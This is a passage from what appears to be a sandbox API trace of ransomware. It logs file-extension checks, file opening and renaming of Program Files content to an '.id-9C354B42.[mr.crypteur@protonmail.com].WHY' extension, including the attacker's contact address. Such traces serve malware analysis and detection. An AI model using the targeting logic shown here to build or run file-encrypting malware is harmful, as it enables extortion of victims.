Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0280.877] lstrlenW (lpString=".dbf") returned 4 [0280.877] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0280.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0280.877] lstrlenW (lpString=".1cd") returned 4 [0280.877] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0280.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0280.879] lstrlenW (lpString=".jpg") returned 4 [0280.879] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0280.879] lstrcmpiW (lpString1=".MMW", lpString2=".WHY") returned -1 [0280.879] lstrlenW (lpString="CAGCAT10.MMW") returned 12 [0280.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0280.881] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=394200) returned 1 [0280.881] CloseHandle (hObject=0x38c) returned 1 [0280.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 0x20 [0280.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0280.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0280.883] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.883] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 40 os_tid = 0x660 [0206.668] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x3b50278 [0206.670] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x3b60280 [0206.671] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9278 [0206.671] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x6) returned 0x641570 [0206.671] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e92f0 [0206.671] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x3e30020 [0206.672] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9308 [0206.672] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9308, Size=0x20) returned 0x620318 [0206.672] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9308 [0206.672] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9308, Size=0x20) returned 0x620390 [0206.672] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0206.673] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0206.673] Wow64DisableWow64FsRedirection (in: OldValue=0x32aff58 | out: OldValue=0x32aff58*=0x0) returned 1 [0206.673] lstrlenW (lpString="kernel32.dll") returned 12 [0206.673] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620318 | out: hHeap=0x590000) returned 1 [0206.673] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0206.673] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620390 | out: hHeap=0x590000) returned 1 [0206.674] Sleep (dwMilliseconds=0x64) [0207.142] Sleep (dwMilliseconds=0x64) [0207.437] Sleep (dwMilliseconds=0x64) [0207.943] Sleep (dwMilliseconds=0x64) [0208.171] Sleep (dwMilliseconds=0x64) [0208.490] Sleep (dwMilliseconds=0x64) [0208.672] Sleep (dwMilliseconds=0x64) [0208.993] Sleep (dwMilliseconds=0x64) [0209.259] Sleep (dwMilliseconds=0x64) [0209.775] Sleep (dwMilliseconds=0x64) [0210.079] Sleep (dwMilliseconds=0x64) [0210.322] Sleep (dwMilliseconds=0x64) [0210.909] Sleep (dwMilliseconds=0x64) [0211.322] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0211.322] lstrlenW (lpString="Content.xml") returned 11 [0211.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0211.882] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=27045) returned 1 [0211.882] CloseHandle (hObject=0x2cc) returned 1 [0211.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0211.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0211.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0211.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0211.884] lstrlenW (lpString=".doc") returned 4 [0211.884] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.884] lstrlenW (lpString=".docx") returned 5 [0211.884] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0211.884] lstrlenW (lpString=".pdf") returned 4 [0211.884] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.885] lstrlenW (lpString=".xls") returned 4 [0211.885] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.885] lstrlenW (lpString=".xlsx") returned 5 [0211.885] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0211.885] lstrlenW (lpString=".ppt") returned 4 [0211.885] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0211.885] lstrlenW (lpString=".zip") returned 4 [0211.885] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.885] lstrlenW (lpString=".rar") returned 4 [0211.885] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.885] lstrlenW (lpString=".bz2") returned 4 [0211.886] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.886] lstrlenW (lpString=".7z") returned 3 [0211.886] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0211.886] lstrlenW (lpString=".dbf") returned 4 [0211.886] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0211.887] lstrlenW (lpString=".1cd") returned 4 [0211.887] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0211.887] lstrlenW (lpString=".jpg") returned 4 [0211.887] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0211.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0211.888] lstrlenW (lpString=".doc") returned 4 [0211.889] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.889] lstrlenW (lpString=".docx") returned 5 [0211.889] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0211.889] lstrlenW (lpString=".pdf") returned 4 [0211.889] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.889] lstrlenW (lpString=".xls") returned 4 [0211.889] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.889] lstrlenW (lpString=".xlsx") returned 5 [0211.889] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0211.889] lstrlenW (lpString=".ppt") returned 4 [0211.890] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0211.890] lstrlenW (lpString=".zip") returned 4 [0211.890] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.890] lstrlenW (lpString=".rar") returned 4 [0211.890] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.890] lstrlenW (lpString=".bz2") returned 4 [0211.890] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.890] lstrlenW (lpString=".7z") returned 3 [0211.890] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0211.890] lstrlenW (lpString=".dbf") returned 4 [0211.890] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0211.891] lstrlenW (lpString=".1cd") returned 4 [0211.891] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0211.891] lstrlenW (lpString=".jpg") returned 4 [0211.891] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.891] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0211.892] lstrlenW (lpString="boxed-split.avi") returned 15 [0211.892] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0212.037] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=62976) returned 1 [0212.038] CloseHandle (hObject=0x2d0) returned 1 [0212.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0212.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0212.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0212.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0212.040] lstrlenW (lpString=".doc") returned 4 [0212.040] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.040] lstrlenW (lpString=".docx") returned 5 [0212.040] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0212.040] lstrlenW (lpString=".pdf") returned 4 [0212.040] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.040] lstrlenW (lpString=".xls") returned 4 [0212.040] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.040] lstrlenW (lpString=".xlsx") returned 5 [0212.040] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0212.040] lstrlenW (lpString=".ppt") returned 4 [0212.041] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0212.041] lstrlenW (lpString=".zip") returned 4 [0212.041] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0212.041] lstrlenW (lpString=".rar") returned 4 [0212.041] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0212.042] lstrlenW (lpString=".bz2") returned 4 [0212.042] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.042] lstrlenW (lpString=".7z") returned 3 [0212.042] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0212.042] lstrlenW (lpString=".dbf") returned 4 [0212.042] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0212.042] lstrlenW (lpString=".1cd") returned 4 [0212.042] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0212.043] lstrlenW (lpString=".jpg") returned 4 [0212.043] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0212.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0212.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0212.043] lstrlenW (lpString=".doc") returned 4 [0212.043] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.043] lstrlenW (lpString=".docx") returned 5 [0212.043] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0212.043] lstrlenW (lpString=".pdf") returned 4 [0212.044] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.044] lstrlenW (lpString=".xls") returned 4 [0212.044] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.044] lstrlenW (lpString=".xlsx") returned 5 [0212.044] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0212.044] lstrlenW (lpString=".ppt") returned 4 [0212.044] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0212.044] lstrlenW (lpString=".zip") returned 4 [0212.044] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0212.044] lstrlenW (lpString=".rar") returned 4 [0212.045] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0212.045] lstrlenW (lpString=".bz2") returned 4 [0212.045] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.045] lstrlenW (lpString=".7z") returned 3 [0212.045] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0212.045] lstrlenW (lpString=".dbf") returned 4 [0212.045] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0212.045] lstrlenW (lpString=".1cd") returned 4 [0212.045] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0212.045] lstrlenW (lpString=".jpg") returned 4 [0212.046] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0212.046] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0212.046] lstrlenW (lpString="split.avi") returned 9 [0212.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0212.047] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=194048) returned 1 [0212.048] CloseHandle (hObject=0x2d0) returned 1 [0212.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0212.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0212.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0212.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0212.048] lstrlenW (lpString=".doc") returned 4 [0212.049] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.049] lstrlenW (lpString=".docx") returned 5 [0212.049] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0212.049] lstrlenW (lpString=".pdf") returned 4 [0212.049] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.049] lstrlenW (lpString=".xls") returned 4 [0212.049] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.049] lstrlenW (lpString=".xlsx") returned 5 [0212.050] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0212.050] lstrlenW (lpString=".ppt") returned 4 [0212.050] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0212.050] lstrlenW (lpString=".zip") returned 4 [0212.050] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0212.050] lstrlenW (lpString=".rar") returned 4 [0212.050] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0212.050] lstrlenW (lpString=".bz2") returned 4 [0212.050] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.050] lstrlenW (lpString=".7z") returned 3 [0212.050] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0212.050] lstrlenW (lpString=".dbf") returned 4 [0212.051] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0212.051] lstrlenW (lpString=".1cd") returned 4 [0212.051] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0212.051] lstrlenW (lpString=".jpg") returned 4 [0212.051] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0212.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0212.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0212.051] lstrlenW (lpString=".doc") returned 4 [0212.052] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.052] lstrlenW (lpString=".docx") returned 5 [0212.052] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0212.052] lstrlenW (lpString=".pdf") returned 4 [0212.052] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.052] lstrlenW (lpString=".xls") returned 4 [0212.052] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.052] lstrlenW (lpString=".xlsx") returned 5 [0212.052] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0212.052] lstrlenW (lpString=".ppt") returned 4 [0212.052] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0212.052] lstrlenW (lpString=".zip") returned 4 [0212.052] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0212.052] lstrlenW (lpString=".rar") returned 4 [0212.053] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0212.053] lstrlenW (lpString=".bz2") returned 4 [0212.053] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.053] lstrlenW (lpString=".7z") returned 3 [0212.053] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0212.053] lstrlenW (lpString=".dbf") returned 4 [0212.053] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0212.053] lstrlenW (lpString=".1cd") returned 4 [0212.053] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0212.053] lstrlenW (lpString=".jpg") returned 4 [0212.053] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0212.054] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0212.054] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0212.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0212.055] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=1600388) returned 1 [0212.055] CloseHandle (hObject=0x2d0) returned 1 [0212.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0212.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0212.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0212.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0212.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0212.056] lstrlenW (lpString=".doc") returned 4 [0212.056] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.056] lstrlenW (lpString=".docx") returned 5 [0212.056] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0212.056] lstrlenW (lpString=".pdf") returned 4 [0212.056] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.056] lstrlenW (lpString=".xls") returned 4 [0212.057] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.057] lstrlenW (lpString=".xlsx") returned 5 [0212.057] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0212.057] lstrlenW (lpString=".ppt") returned 4 [0212.057] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0212.057] lstrlenW (lpString=".zip") returned 4 [0213.584] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0213.585] lstrlenW (lpString=".rar") returned 4 [0213.587] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0213.587] lstrlenW (lpString=".bz2") returned 4 [0213.587] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0213.587] lstrlenW (lpString=".7z") returned 3 [0213.587] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0213.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0213.587] lstrlenW (lpString=".dbf") returned 4 [0213.587] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0213.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0213.587] lstrlenW (lpString=".1cd") returned 4 [0213.587] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0213.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0213.587] lstrlenW (lpString=".jpg") returned 4 [0213.588] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0213.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0213.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0213.588] lstrlenW (lpString=".doc") returned 4 [0213.588] 